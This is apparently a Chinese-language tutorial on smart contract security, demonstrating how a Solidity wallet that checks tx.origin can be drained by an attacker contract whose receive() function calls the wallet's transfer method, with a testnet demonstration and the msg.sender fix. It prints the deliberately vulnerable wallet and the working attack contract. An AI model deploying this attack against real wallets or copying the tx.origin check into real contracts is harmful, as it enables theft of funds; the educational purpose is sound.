关于区块链:区块链合约安全系列一公链合约权限校验引发的严重安全问题

2次阅读

共计 2307 个字符,预计需要花费 6 分钟才能阅读完成。

id:BSN_2021
公众号:BSN 研习社

背景:因为公链环境下所有的信息都是共享的,智能合约相当于是通明的,任何人只需晓得其地址就能够调用外部的办法,所以开发者在开发合约时,逻辑判断个别会增加一下权限的校验,以进步其安全性。然而有时候对其理解不深,会带来一些潜在的暗藏 bug。

指标:验证当合约外部应用 tx.origin 做权限校验时,攻击者能够绕过逻辑束缚进行资金盗取。

对象:实用于用 Solidity 语言开发的智能合约,例如 BSN 中的武汉链(基于 ETH)和泰安链(基于 fisco bcos)上运行的智能合约。

环境筹备
•两个合约文件,一个为用户钱包合约(TxUserWallet),另一个为攻打钱包合约(TxAttackWallet)。
•两个账户,别离为以上两个合约的 owner。预制为 TxUserWallet owner:

0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9

TxAttackWallet owner:

0x5adaCf91A3C4e9a7541f0dA89dC575354C075941

合约文件_TxUserWallet.sol_如下图所示:

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
    address owner;

    event Deposit(uint256 balance);
    constructor() payable {owner = msg.sender;}

    function supplyFunds() payable public {emit Deposit(msg.value);
    }

    function transferTo(address payable dest, uint amount) public {
        // THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin
        require(tx.origin == owner);
        dest.transfer(amount);
    }

    function balanceOf() public view returns(uint){return address(this).balance;
    }

    function withdraw() public {payable(owner).transfer(address(this).balance);
    }

}

合约文件_TxAttackWallet.sol_如下图所示:

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
interface TxUserWallet {function transferTo(address payable dest, uint amount) external;
}

contract TxAttackWallet {
    address payable owner;
    TxUserWallet userWallet;
    constructor(TxUserWallet userWalletAddr) {owner = payable(msg.sender);
        userWallet = userWalletAddr;
    }

    function balanceOf() public view returns(uint){return address(this).balance;
    }

    receive() external payable {userWallet.transferTo(owner, address(userWallet).balance);
    }
}

合约部署
应用 remix 别离部署两个合约
1. 部署合约 TxUserWallet 的过程截图

合约部署胜利的截图如下

  1. 部署合约 TxAttackWallet 的过程截图
    留神:部署的时候须要将“用户钱包合约的地址”进行预制,用于后续攻打时应用。

    合约部署胜利的截图如下

    攻打测试
    攻打原理为诱骗合约 TxUserWallet 的 owner 对合约 TxAttackWallet 进行转账操作。因为技术受骗合约 TxAttackWallet 承受 ether 时会触发 receive()办法,从而进行对 TxUserWallet 合约进行盗取 ether。

为不便做比照,咱们在转账操作之前先截图一下用户钱包合约以及攻打合约的 owner 的账户余额


当初应用 TxUserWallet 的 owner 账户对合约 TxAttackWallet 进行转账操作。即 应用账户 0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9 向合约账户 0xB50cF0e11aA2dA0F4f0E95841a4F1514F81015fd 转账 0.001(金额任意)。

转账交易记录 https://ropsten.etherscan.io/…

转账操作胜利后,咱们来查看一下 TxUserWallet 领有的 0.00002 Ether 是否被盗取了,截图如下

上图能够看出余额已变为零,接下来看一下 TxAttackWallet 的 owner 账户余额,截图如下

上图能够发现一笔 0.00002 Ether 转账记录,同时对比余额变动,至此已盗取胜利。

论断
综上发现,当咱们应用 tx.origin 做校验时,失去的是_交易原始签名地址而不是攻打合约的地址_,从而绕过了业务束缚逻辑,将所有资金进行了转移操作。

另外,那如何进行修复呢?只须要将 tx.origin 改为 msg.sender 去做校验即可。有趣味的能够试一下。

正文完
 0